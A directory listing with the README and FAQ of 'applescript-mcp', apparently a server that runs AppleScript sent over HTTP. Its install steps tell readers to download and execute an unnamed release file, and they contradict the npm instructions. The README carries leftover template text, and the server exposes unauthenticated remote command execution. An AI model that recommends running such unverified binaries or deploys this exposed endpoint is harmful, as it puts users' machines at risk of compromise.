Fire in da houseTop Tip:Paying $100+ per month for Perplexity, MidJourney, Runway, ChatGPT is crazy - get all your AI tools in one site starting at $15 per month with Galaxy AIFire in da houseCheck it out free

applescript-mcp

MCP.Pizza Chef: Hassanali4

AppleScript MCP is an MCP server that enables execution of AppleScript commands to control macOS environments remotely. It allows automation of tasks, application management, and system settings adjustments via HTTP requests, providing powerful and flexible control over your Mac from any device. This server facilitates seamless integration of AppleScript into MCP workflows for enhanced macOS automation.

Use This MCP server To

Automate macOS tasks using AppleScript commands remotely Control Mac applications through scripted commands Manage system settings on macOS via HTTP requests Integrate AppleScript execution into MCP-based workflows Trigger Mac automation scripts from external devices Remotely execute custom AppleScript for complex workflows

README

🍏 AppleScript MCP: Full Control of Your Mac

Welcome to the AppleScript MCP repository! This project allows you to run AppleScript commands through an MCP server, giving you complete control over your macOS environment. Whether you're automating tasks, controlling applications, or managing system settings, this tool provides a powerful way to interact with your Mac.

πŸš€ Features

  • Execute AppleScripts: Run your AppleScript commands seamlessly.
  • MCP Server: Easily set up a server that listens for commands.
  • Full Control: Manage your Mac’s applications and settings from anywhere.
  • Cross-Platform: Works with various devices that can send HTTP requests.

πŸ“¦ Getting Started

To get started with the AppleScript MCP, follow these steps:

  1. Clone the Repository:

    git clone https://github.com/Hassanali4/applescript-mcp.git
    cd applescript-mcp
  2. Download and Execute: Head over to the Releases section to download the latest version. Make sure to execute the downloaded file to start the server.

  3. Run the MCP Server: After executing the file, your MCP server will start. You can now send AppleScript commands to your Mac.

πŸ”§ Installation

Prerequisites

  • macOS: This tool is designed for macOS systems.
  • Node.js: Ensure you have Node.js installed. You can download it from nodejs.org.

Installation Steps

  1. Install Dependencies:

    npm install
  2. Start the Server:

    npm start

Usage

Once the server is running, you can send AppleScript commands using HTTP requests. Here’s an example using curl:

curl -X POST http://localhost:3000/execute -d 'tell application "Finder" to make new folder at desktop with properties {name:"New Folder"}'

This command will create a new folder on your desktop named "New Folder".

πŸ“œ Documentation

For detailed documentation on how to use AppleScript MCP, please refer to the Wiki.

πŸ› οΈ Contributing

We welcome contributions! If you have suggestions, bug fixes, or new features, please open an issue or submit a pull request.

Steps to Contribute

  1. Fork the Repository: Click the "Fork" button on the top right of the repository page.
  2. Create a New Branch:
    git checkout -b feature/YourFeatureName
  3. Make Your Changes: Edit the files as needed.
  4. Commit Your Changes:
    git commit -m "Add your message here"
  5. Push to Your Branch:
    git push origin feature/YourFeatureName
  6. Open a Pull Request: Go to the original repository and click "New Pull Request".

πŸ—‚οΈ Topics

  • AppleScript: A scripting language for automating tasks on macOS.
  • macOS: The operating system for Apple computers.
  • MCP: A server that allows communication between devices and applications.
  • MCP Server: A server setup that listens for commands and executes them.

πŸ“ˆ Releases

To find the latest releases, visit the Releases section. Download the appropriate file and execute it to get started.

🎨 Visuals

Here are some images that represent the essence of this project:

AppleScript Logo

MCP Server

πŸ“ž Support

If you encounter any issues or have questions, feel free to reach out via the Issues tab on GitHub. We are here to help!

πŸ”— Links

πŸŽ‰ Acknowledgments

We would like to thank the open-source community for their contributions and support. Your efforts make projects like this possible.

πŸ“ License

This project is licensed under the MIT License. See the LICENSE file for more details.


Feel free to modify the content as needed. Happy scripting! 🍏

applescript-mcp FAQ

How do I install the AppleScript MCP server?
Clone the GitHub repository, then download and run the server executable from the releases section.
Can I run AppleScript commands from non-Mac devices?
Yes, the server accepts HTTP requests, enabling control from any device that can send them.
Is the AppleScript MCP server compatible with all macOS versions?
It supports macOS versions that natively support AppleScript, typically macOS 10.10 and later.
How secure is the communication with the AppleScript MCP server?
Security depends on your network setup; it is recommended to use secure channels like VPN or HTTPS proxies.
Can I integrate this MCP server with other LLM providers like OpenAI, Claude, or Gemini?
Yes, it can be integrated into workflows using any LLM provider that supports MCP protocol interactions.
Does the server support running multiple AppleScript commands concurrently?
The server handles requests sequentially by default, but concurrency depends on your server setup and scripting.
How do I debug AppleScript commands sent to the MCP server?
Use macOS Script Editor or Console logs to test and debug scripts before sending them to the server.